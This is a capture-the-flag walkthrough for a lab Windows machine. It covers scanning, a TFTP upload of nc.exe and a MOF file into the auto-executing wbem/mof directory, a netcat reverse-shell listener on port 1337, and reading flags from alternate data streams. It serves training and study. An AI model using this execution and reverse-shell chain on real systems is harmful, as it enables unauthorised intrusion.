Difficulty: Medium Machine Creator: eks& rjesh Tools Used:
NMAP TFTP Metasploit NC Streams
Task: To find User.txt and Root.txt
Network Enumeration
Let’s start with an NMAP scan.
nmap -sV -sC 10.10.10.90
nmap -sU 10.10.10.90
TFTP
tftp 10.10.10.90
Metasploit
Now we need to start generating our payload. We can exploit wmi using the psexec module in MSF. First, we need to select the psexec module
use exploit/windows/smb/psexec
then we need to drop down into an interactive ruby shell
irb
now we need to generate our mof file. We will include NC command along with our local IP and port 1337.
puts generate_mof(“test1″,”test2”)
Upload NC.exe
NC.exe is not in windows by default, so we need to upload it using TFTP.
First, we should copy nc.exe to our current directory.
cp /usr/share/windows-binaries/nc.exe
Now we can upload nc.exe to the remote server.
NC Listener
nc -lvnp 1337
1337 is our local port to listen on.
Upload mof file
The directory that we will be uploading to will auto execute the file.
put exploit.mof /windows/system32/wbem/mof/exploit.mof
Root.txt
We have another directory on the desktop for flags lets check that out.
Streams
We need to download a program called streams by Sysinternals this will allow us to view alternate data streams.
https://docs.microsoft.com/en-us/sysinternals/downloads/streams
Now we can view the file using streams. Sysinternals always requires you to accept the EULA, and we can use a wildcard character for the file name.
streams -accepteula 2*
